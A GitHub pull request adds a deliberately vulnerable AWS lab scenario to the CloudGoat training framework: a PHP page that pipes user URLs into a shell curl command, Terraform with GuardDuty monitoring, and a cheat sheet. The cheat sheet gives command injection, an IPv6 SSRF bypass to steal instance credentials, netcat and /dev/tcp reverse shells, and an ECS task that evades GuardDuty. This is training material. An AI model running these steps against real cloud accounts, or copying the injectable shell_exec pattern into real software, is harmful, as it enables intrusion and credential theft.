Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Scenario | ecs_privesc_evade_protection #233

Open
wants to merge 36 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from 25 commits
Commits
Show all changes
36 commits
Select commit Hold shift + click to select a range
a8a4468
Add new scenario/ecs_privesc_evade_protection
West-wise Oct 29, 2023
e4442be
PR requirements reflected.
3iuy-prog Nov 1, 2023
7af9730
Merge pull request #1 from BoB12-C-G-V/scenario/ecs_privesc_modify
3iuy-prog Nov 1, 2023
a361539
Add vpc.tf & resolve an issue about tf version.
3iuy-prog Nov 5, 2023
22d8842
Merge pull request #2 from BoB12-C-G-V/scenario/ecs_privesc_modify
3iuy-prog Nov 5, 2023
dfa19cc
Remove duplicate writes of commands `echo "aws_session_token = <token…
3iuy-prog Nov 6, 2023
63f7f2a
remove unused data sources.
3iuy-prog Nov 6, 2023
bc94bfc
Add required_providers for archive & time.
3iuy-prog Nov 6, 2023
1c121f7
Define CloudWatch Lambda Log Group.
3iuy-prog Nov 6, 2023
c38018f
Add Easy Path.
3iuy-prog Nov 9, 2023
41a4730
add Summary in Main README.md
West-wise Nov 14, 2023
caa3f79
fix typo
West-wise Nov 14, 2023
49bdb81
Revert "fix typo"
West-wise Nov 14, 2023
cb5d2b8
Revert "add Summary in Main README.md"
West-wise Nov 14, 2023
8c01e74
Remove horizontal line in scenario/ecs_privesc_evade_protecton/README.md
3iuy-prog Nov 14, 2023
daf3680
Edit root README.md
3iuy-prog Nov 14, 2023
fe7156d
Allow ecs:ListClusters for role "cg_web_developer_policy"
3iuy-prog Nov 14, 2023
fbd6278
Merge remote-tracking branch 'origin/master' into scenario/ecs_prives…
3iuy-prog Dec 11, 2023
928ad74
Update scenario's cheat_sheet.md.
3iuy-prog Dec 13, 2023
f55b48d
Using ECR instead of Docker Hub.
3iuy-prog Dec 14, 2023
01f4083
Remove comments about docker hub.
3iuy-prog Dec 15, 2023
5c9cd5b
Update script to make hcl can handle docker path.
3iuy-prog Dec 15, 2023
585b491
Remove env setting on script.
3iuy-prog Dec 15, 2023
93c6496
Once the scripts would be fail, make tf fail.
3iuy-prog Dec 15, 2023
6016473
If the docker push fails, try pushing it up to 3 times again.
3iuy-prog Dec 15, 2023
8a9849d
Merge branch 'RhinoSecurityLabs:master' into scenario/ecs_privesc_eva…
3iuy-prog Dec 21, 2023
f9c56e3
change command `python` to `python3` in local-exec
3iuy-prog Dec 24, 2023
e99042f
add `depends on for s3 policy` in cloudtrail.tf
3iuy-prog Dec 24, 2023
941aa82
check architecture and add "--platform=linux/arm64" for arm.
3iuy-prog Dec 24, 2023
e712529
Remove docker login in `pop-dockfile.py`.
3iuy-prog Dec 24, 2023
fafbf7f
Restore describe about `glue_privesc` in README.md
3iuy-prog Dec 24, 2023
0578065
Add a note about docker.
3iuy-prog Dec 24, 2023
60605db
build the container with Linux/amd64 by force.
3iuy-prog Dec 29, 2023
e0d3bf1
Merge branch 'RhinoSecurityLabs:master' into scenario/ecs_privesc_eva…
3iuy-prog Apr 22, 2024
13a9e96
fix scenario create command in `README.md`
Apr 30, 2024
b305d81
set timeout to `curl` to make less down the web container
Apr 30, 2024
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
11 changes: 4 additions & 7 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -227,16 +227,13 @@ Starting with access the "ruse" EC2 the user leverages the instace profile to ba

[Visit Scenario Page.](scenarios/ecs_efs_attack/README.md)

### glue_privesc(Large / Moderate)
### ecs_privesc_evade_protection (Medium / Moderate)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Overwriting glue_privesc


`$ ./cloudgoat.py create glue_privesc`
`$ ./cloudgoat.py create ecs_privesc_evade_protection`

This scenario starts with a web page that uploads a CSV file and performs data visualization through the Glue service.
The attacker steals the credentials present on the webpage via a SQL injection attack and uploads a reverse shell to create a Glue Job to obtain the secret string
A user begins by accessing a working web service to a container inside EC2. The attacker can exploit a web service vulnerability to get credentials from the metadata API in EC2, or to control the container. This credential allows the attacker to initiate a new container with a specific role and control it. Based on this action, make a priviledge escalation, and read FLAG in S3.

> **Note:** This scenario may require you to create some AWS resources, and because CloudGoat can only manage resources it creates, you should remove them manually before running `./cloudgoat destroy`.

[Visit Scenario Page.](scenarios/glue_privesc/README.md)
[Visit Scenario Page.](scenarios/ecs_privesc_evade_protection/README.md)

## Usage Guide

Expand Down
6 changes: 3 additions & 3 deletions core/python/commands.py
Original file line number Diff line number Diff line change
Expand Up @@ -399,7 +399,7 @@ def create_scenario(self, scenario_name_or_path, profile):
}

# The if-else block below exists because the detection_evasion scenario requires user input at deploy time.
if scenario_name == "detection_evasion":
if scenario_name in ["detection_evasion", "ecs_privesc_evade_protection"]:
tf_vars["user_email"] = self.get_user_email()

plan_retcode, plan_stdout, plan_stderr = terraform.plan(
Expand Down Expand Up @@ -525,7 +525,7 @@ def destroy_all_scenarios(self, profile):
"region": self.aws_region,
}

if scenario_name == "detection_evasion":
if scenario_name in ["detection_evasion", "ecs_privesc_evade_protection"]:
tf_vars["user_email"] = self.get_user_email()

destroy_retcode, destroy_stdout, destroy_stderr = terraform.destroy(
Expand Down Expand Up @@ -620,7 +620,7 @@ def destroy_scenario(self, scenario_name_or_path, profile, confirmed=False):
"region": self.aws_region,
}

if scenario_name == "detection_evasion":
if scenario_name in ["detection_evasion", "ecs_privesc_evade_protection"]:
tf_vars["user_email"] = self.get_user_email()

destroy_retcode, destroy_stdout, destroy_stderr = terraform.destroy(
Expand Down
61 changes: 61 additions & 0 deletions scenarios/ecs_privesc_evade_protection/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
# Scenario: ecs_privesc_evade_protection
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could you make a note that this scenario needs docker to run


**Size**: Medium

**Difficulty**: Moderate

**Command**: `$ ./cloudgoat.py create guardduty_bypass_with_ecs`

## Scenario Resources

- 1 ECS with:
- 1 * ASG with :
- 1 * EC2
- 1 * Service (web container)
- 2 * S3 (1 * secret, 1 * cloudtrail)
- Detection Mechanisms
- GuardDuty enabled
- CloudWatch
- CloudTrail
- EventBridge
- Lambda
- SES

## Scenario Start(s)

Scenario starts as a web user.

> **Warning**: If GuardDuty have enabled before creating scenario, It would cause an error.

## Scenario Goal(s)

Read flag.txt in S3 with avoiding various defense techniques.

## Summary

There is a very vulnerable website operating on AWS. The site's security administrator became frightened and took some web security measures and enabled GuardDuty for EC2's credentials. Take a detour and approach S3 and win the secret string.

## Email setup

- If AWS Guard Duty detects your attack in the scenario, we will send you an email. So you need to register an email and respond to AWS authentication mail sent to that email before start.
- If you prefer not to use a standard email address, you might consider services such as https://temp-mail.org/ or https://www.fakemail.net/.

# SPOILER ALERT: There are spoilers for the scenario blew this point.

## Exploitation Route

![Scenario Route(s)](assets/diagram.png)

## Scenario Walk-through

### Easy Path
- Attacker accesses the web service of a container inside EC2 managed by ECS.
- The attacker exploits vulnerabilities in a web service to access the EC2's credentials or take control of the container.
- The attacker accesses S3. Gets the Secret String in `flag.txt` and exits the scenario.

### Hard Path
- Attacker accesses the web service of a container inside EC2 managed by ECS.
- The attacker exploits vulnerabilities in a web service to access the EC2's credentials or take control of the container.
- The attacker defines and executes an ECS task with the authority of the web developer to privesc or bypass mitigations. Perform a reverse shell attack to access the container been created.
- The attacker accesses S3 at the container to bypass GuardDuty detection. Gets the Secret String in `secret-string.txt` and exits the scenario.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Create a manifest.yml file.
example

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Once we have the size & difficulty, add you scenario to the main readme file.

Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
Dockerfile
.dockerignore
18 changes: 18 additions & 0 deletions scenarios/ecs_privesc_evade_protection/assets/ssrf-web/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
FROM php:7.4-cli-alpine

RUN apk --no-cache update \
&& apk --no-cache add \
curl-dev libcurl \
groff \
less \
python3 \
py3-pip \
&& docker-php-ext-install curl \
&& pip3 install --upgrade pip \
&& pip3 install awscli

COPY . /usr/src/myapp

WORKDIR /usr/src/myapp

CMD [ "php", "-S", "0.0.0.0:80", "-t", "." ]
43 changes: 43 additions & 0 deletions scenarios/ecs_privesc_evade_protection/assets/ssrf-web/index.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
<!DOCTYPE HTML>
<html>
<head>
<title>SSRF</title>
</head>

<body>
<h2>Server Side Request Forgery</h2>

<form method="GET" action="">
<span>URL:
<input name="url" type="text" placeholder="" />
<input type="submit" />
</span>
</form>
<h4>Can you access meta-data? We've made security improvements!</h4>

<?php
if (isset($_GET['url'])) {
$url = $_GET['url'];

if (strlen($url) > 150) {
echo "URL is too long. Please enter a URL with 150 characters or less.";
echo "\n\n";
} elseif (preg_match('/169.254.169.254/', $url)) {
echo "Access to meta-data is not allowed.";
echo "\n\n";
} else {
$response = shell_exec("curl " . $url);
if ($response !== null) {
echo "<pre>";
echo htmlspecialchars($response);
echo "</pre>";
} else {
echo "Failed to fetch the URL.";
echo "\n\n";
}
}
}
?>

</body>
</html>
149 changes: 149 additions & 0 deletions scenarios/ecs_privesc_evade_protection/cheat_sheet.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,149 @@
# Easy Path

Go to `http://<ec2_ip_address>`

### Command Injection

```bash
# Command Injection on web.
; aws s3 ls
; aws s3 ls s3://<bucket-name>/
; aws s3 cp s3://<bucket-name>/flag.txt .
; cat flag.txt
```

### SSRF

```bash
# SSRF Attack.
http://<ec2_ip_address>/?url=http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/<role>

# Configure credentials.
aws configure --profile attacker
echo "aws_session_token = <token>" >> ~/.aws/credentials

# Access to S3.
aws s3 ls
aws s3 ls s3://<bucket-name>/
aws s3 cp s3://<bucket-name>/flag.txt .
cat flag.txt
```


# Hard Path

Go to `http://<ec2_ip_address>`

### SSRF

* Using IPv6 to SSRF on web with `http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/<role>`
* Get credentials & using it to your CLI profile.

```bash
aws configure --profile attacker
echo "aws_session_token = <token>" >> ~/.aws/credentials
```

### Command Injection

- prepare another host for revshell attack with `nc -lvp 4000`
- command injection on web with `; nc <ip_address> 4000 -e /bin/sh &`

### For more information

- more information about iam.

```bash
aws sts get-caller-identity
aws iam list-roles
aws iam get-role --role-name <role>
aws iam list-attached-role-policies --role-name <role>
aws iam list-role-policies --role-name <role>
aws iam get-role-policy --role-name <role> --policy-name <policy>
````

- more information about ecs clusters.

```bash
aws ecs list-clusters --region <region>
aws ecs describe-clusters --region <region> --clusters <cluster>
aws ecs list-container-instances --region <region> --cluster <cluster_arn>
```
- find available vpc subnets.

```bash
aws ec2 describe-subnets --region <region>
```

### ECS Privesc

1. Attacker prepare revshell at other public ip point with `nc -lvp 4000`.

2. And now come back to CLI.

3. Create an ECS Task Definition JSON File:

Create a file named task-definition.json and include the following content.
Replace `<region>`, `<task_name>`, `<task_role_arn>`, `<revshell_ip>`, and `<revshell_port>` with your actual values.

```json
{
"family": "<task_name>",
"taskRoleArn": "<task_role_arn>",
"networkMode": "awsvpc",
"cpu": "256",
"memory": "512",
"requiresCompatibilities": ["FARGATE"],
"containerDefinitions": [
{
"name": "exfil_creds",
"image": "python:latest",
"entryPoint": ["sh", "-c"],
"command": ["/bin/bash -c \\\"bash -i >& /dev/tcp/<revshell_ip>/<revshell_port> 0>&1\\\""]
}
]
}
```

4. Create an ECS Run Task JSON File.

Create a file named run-task.json and include the following content. Replace `<subnet>` with the actual values for your setup.

```json
{
"launchType": "FARGATE",
"networkConfiguration": {
"awsvpcConfiguration": {
"assignPublicIp": "ENABLED",
"subnets": ["<subnet>"]
}
}
}
```

5. Register Task Definition and Run Task

Now, you can use the AWS CLI with the JSON files to execute the commands.

```bash
# Register task definition
aws ecs register-task-definition --region <region> --cli-input-json file://task-definition.json

# Run task
aws ecs run-task --region <region> --task-definition <task_name> --cluster <cluster_name> --cli-input-json file://run-task.json
```

After a few minutes, the revshell will be connected by container.
Let's access to s3 on revshell.

### Access S3

```bash
apt update
apt install awscli

aws s3 ls
aws s3 ls s3://<bucket-name>/
aws s3 cp s3://<bucket-name>/secret-string.txt .
cat secret-string.txt
```
20 changes: 20 additions & 0 deletions scenarios/ecs_privesc_evade_protection/manifest.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
---
# The name of the scenario, alpha-numeric characters only, and underscore-separated
- name: ecs_privesc_evade_protection
# The name of the author(s), comma separated
- author: Yong Siwoo, Park Do Kyu, Park Seo Hyun, Jung Ho Shim, Chae Jinsoo
# The version of the scenario, where major versions are breaking changes and minor are small fixes.
- version: 1.0
# Text displayed to the user when they type "{{ scenario_name }} help"
- help: |
Within the container that is running a web hosting service on an EC2 instance managed by ECS,
please access the metadata service to obtain the temporary credentials for the EC2 instance.
Then, exploit these privileges to read the secret string inside the flag.txt file located within S3.

Note: if AWS GuardDuty detects your attack, it will refresh the temporary credentials of the EC2 instance
and send an alert email to the registered address.
Endeavor to proceed with utmost caution to avoid triggering these alerts.

# Records the date upon which this scenario was last updated, in MM-DD-YYYY format
- last-updated: 11-02-2023
...
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
# Using CloudTrail for GuardDuty
resource "aws_cloudtrail" "cloudtrail" {
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Add a depends on for the bucket policy aws_s3_bucket_policy.trail_bucket_policy

name = "cg-cloudtrail-${var.cgid}"
s3_bucket_name = aws_s3_bucket.cloudtrail_bucket.id
enable_logging = true
}
29 changes: 29 additions & 0 deletions scenarios/ecs_privesc_evade_protection/terraform/cloudwatch.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
# Define a CloudWatch Event Rule to capture AWS GuardDuty findings
resource "aws_cloudwatch_event_rule" "guardduty_events" {
name = "cg-guardduty-events-${var.cgid}"
event_pattern = jsonencode({
"source" : ["aws.guardduty"],
"detail-type" : ["GuardDuty Finding"],
"detail": {
"type": [
"UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS",
]
}
})
}

# Create a target for the CloudWatch Event Rule to invoke a Lambda function
resource "aws_cloudwatch_event_target" "ecs_event_target" {
rule = aws_cloudwatch_event_rule.guardduty_events.name
arn = aws_lambda_function.guardduty_lambda.arn
}

# Enable AWS GuardDuty for threat detection and continuous monitoring
# Note : The GuardDuty in the user account must be completely disabled to function normally.
resource "aws_guardduty_detector" "detector" {
enable = true
}

resource "aws_cloudwatch_log_group" "lambda_log" {
name = "/aws/lambda/${aws_lambda_function.guardduty_lambda.function_name}"
}
Loading